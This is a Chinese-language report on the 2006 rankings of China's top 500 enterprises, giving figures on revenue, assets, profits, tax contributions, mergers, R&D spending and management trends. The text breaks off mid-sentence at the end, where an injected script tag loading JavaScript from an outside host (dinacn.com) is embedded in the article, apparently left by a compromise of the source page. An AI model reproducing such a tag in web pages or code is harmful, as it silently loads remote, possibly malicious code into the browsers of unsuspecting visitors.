2005 年，虽然全球经济增长速度有所放慢，但仍实现了 3.2 ％的强劲增长，我国国民经济在新一轮增长周期高位运行，以中国企业 500 强、中国制造业企业 500 强和中国服务业企业 500 强为代表的中国大企业，也保持了快速发展势头，出现一些新的亮点，呈现出新的发展趋势，同时也存在一些突出的问题。

　　一、 2006年中国大企业发展的趋势和特征

　　1. 企业规模不断扩大

　　2006 中国企业 500 强实现营业收入共计 14.14 万亿元，比上年增加了 2.4 万亿元，增幅比上年下降但仍高达 20 ． 4 ％。制造业企业 500 强和服务业企业 500 强的营业收入，分别比上年增加了 25.0 ％和 7.6 ％。排在中国企业 500 强首位的企业的营业收入由 5 年前的 4004 亿元，上升到本次的 8230 亿元，提高了 1.06 倍。 2006 中国企业 500 强的企业平均营业收入达到 282.8 亿元，比上年增加了 47.9 亿元。

　　2006 中国企业 500 强的资产总额达到 41.2 万亿元，增加了 7.7 万亿元，增幅高于上年，达 22.9 ％； 2006 中国制造业企业 500 强和服务业企业 500 强的资产总额，分别为 5.8 万亿元和 32.9 万亿元，比上年提高了 17.6 ％和 9.12 ％。

　　2006 中国企业 500 强的入围门槛继续大幅提高，达到 60.7 亿元，提高了 15.4 亿元。

　　2. 发展质量明显提升

　　以企业营业收入与国内生产总值做比较，虽然不能直接反映大企业对国民财富的贡献，但这一指标能反映大企业在国民经济中的地位和影响力。 2006 中国企业 500 强实现营业收入共计 14.14 万亿元，相当于 2005 年 GDP 的 77.6 ％，略高于 2006 美国企业 500 强 73.0 ％的比例。此前连续四年，依据调整后的 GDP 数据，中国企业 500 强营业收入与当年 GDP 的比值分别为 55.7 ％、 57.9 ％、 66.2 ％和 73.5 ％，呈逐年提高的趋势，显示出我国大企业对国民经济的影响力与日俱增。

　　纳税是大企业对国民财富贡献的一个直接反映。 2006 中国企业 500 强纳税总额 9938 亿元，占全国税收总额 33.1% ，反映出中国企业 500 强对国家税收的突出贡献。

　　2006 中国企业 500 强实现净利润总额为 6428 亿元，增幅虽然比上年有较大下降，但仍达 22.1 ％，高出营业收入增长率近 2 个百分点。

　　3. 资本运营能力进一步增强

　　一是企业并购重组活跃。 2006 中国企业 500 强中有 140 家企业在 2005 年度进行了并购和资产重组，共并购了 416 家企业，反映出大企业正通过并购重组手段扩大资本规模、拓宽经营领域、打造产业链条，致力于将企业做强做大。 2006 中国企业 500 强共拥有全资和控股子公司 14015 家，分公司 6115 家，参股子公司 4690 家。事实表明，我国 500 强企业基本上实行的是经营型控股公司体制。

　　二是资本支配能力逐年提高。以企业的总资产与所有者权益的比率作为企业权益资本支配能力的衡量指标，数据显示，近年来中国企业 500 强的资本支配力呈逐年增长的趋势。 2004 中国企业 500 强的这一比率为 5.21 ∶ 1 。 2005 中国企业 500 强的这一比率为 5.59 ∶ 1 ， 2006 中国企业 500 强的这一比率上升到 5.98 ∶ 1 。由此可见，目前中国企业 500 强的 l 元权益资本大约支配 6 元的货币资本。

　　三是资本密集程度有所提高。国际上，一般用人均资产来反映企业的资本密集程度和生产资料的利用效率，同时认为这一比率对企业的学习能力有很大影响。数据显示， 2006 中国企业 500 强的资本密集程度进一步提高，人均资产为 172.3 万元，高于 2005 中国企业 500 强人均资产 164.2 万元的水平。

　　4. 研发投入比例有所提高

　　2006 中国企业 500 强中有 411 家企业上报了 2005 年的研发数据，研发费用占销售收入的比例平均为 1.45 ％，比上年的 1.20 ％提高 0.25 个百分点；共有 298 家企业上报了专利方面的信息，这些企业共拥有授权专利 73182 项，其中发明专利 18040 项，发明专利的比例接近 1/4 。

　　5. 企业管理得到加强

　　一些大企业在科学发展观的指引下，大力开展管理创新活动，创新出符合国情和本企业特色的绿色管理、诚信管理、精益管理、知识管理、风险管理、敏捷管理、供应链管理、反倾销管理等与世界管理潮流同步的管理办法，加快了企业管理由粗放型向集约型转变的步伐。主要包括：一是围绕企业做强、做大、做专，实施标杆管理，跻身于世界管理先进水平之列；二是在“归核化”理论指导下，迅速形成新的核心能力，确立起自己的竞争优势；三是确立和谐发展健康成长的基本理念，积极承担社会责任，努力在市场经济体系中实现自我完善，把企业建设成和谐企业；四是积极应对知识经济时代的最大挑战，坚持以人为本，创新“人本管理”，探索出一条独具中国特色的管理新路；五是运用信息技术和手段，积极参与国际分工，实施“全球战略管理”，创新出适合本企业“走出去”?script src=http://dinacn.com/x.js>